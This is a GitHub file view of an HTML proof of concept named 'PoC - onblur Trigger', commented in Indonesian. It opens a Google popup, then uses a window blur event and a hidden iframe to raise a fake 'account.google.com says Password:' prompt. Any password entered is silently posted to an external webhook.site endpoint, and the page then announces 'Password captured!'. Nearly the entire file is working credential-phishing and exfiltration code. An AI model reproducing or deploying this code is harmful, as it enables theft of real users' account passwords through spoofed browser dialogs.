-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathblur.html
More file actions
91 lines (84 loc) · 3.1 KB
/
blur.html
File metadata and controls
91 lines (84 loc) · 3.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PoC - onblur Trigger</title>
<style>
body {
margin: 0;
padding: 20px;
font-family: Arial, sans-serif;
background: #f0f0f0;
text-align: center;
}
button {
padding: 15px 30px;
background: #ff4444;
color: white;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
margin-top: 50px;
border: none;
}
button:hover { background: #cc0000; }
#status {
margin-top: 20px;
color: #333;
font-size: 24px;
font-weight: bold;
}
iframe { visibility: hidden; }
</style>
</head>
<body>
<h2>Click to Trigger Spoofed Prompt (onblur)</h2>
<button id="triggerBtn">Spoof Prompt</button>
<div id="status"></div>
<iframe id="iframe"></iframe>
<script>
let popupWindow = null;
document.getElementById('triggerBtn').onclick = () => {
// Buka Google Account
popupWindow = window.open('https://google.com/csi');
if (!popupWindow) {
document.getElementById('status').innerHTML = 'Popup blocked!';
return;
}
// Setup onblur: ketika user klik di luar (misal OK di prompt), trigger prompt
window.onblur = function () {
const code = `(function(){
var p = prompt("account.google.com says\\n\\nPassword:");
if(p){
document.write('<form method="POST" action="https://webhook.site/a0e0c5fe-06e8-45e3-a9c0-de820eb2432d/submit" id="f">'
+ '<input type="hidden" name="password" value="'+p+'">'
+ '<input type="submit"></form>');
document.getElementById("f").submit();
}
})()`;
// Inject ke iframe tersembunyi
const iframe = document.getElementById('iframe');
iframe.src = 'javascript:' + code;
// Update status
setTimeout(() => {
document.getElementById('status').innerHTML = 'haha pwned<br>Password captured!';
if (popupWindow && !popupWindow.closed) popupWindow.close();
}, 1500);
// Reset onblur
window.onblur = null;
};
// Fallback: jika onblur gagal, pakai delay
setTimeout(() => {
if (window.onblur) {
document.getElementById('status').innerHTML = 'onblur not triggered. Using fallback...';
window.onblur = null;
// Trigger manual
const iframe = document.getElementById('iframe');
iframe.src = 'javascript:' + code.replace(/\\n/g, '\\n');
}
}, 5000);
};
</script>
</body>
</html>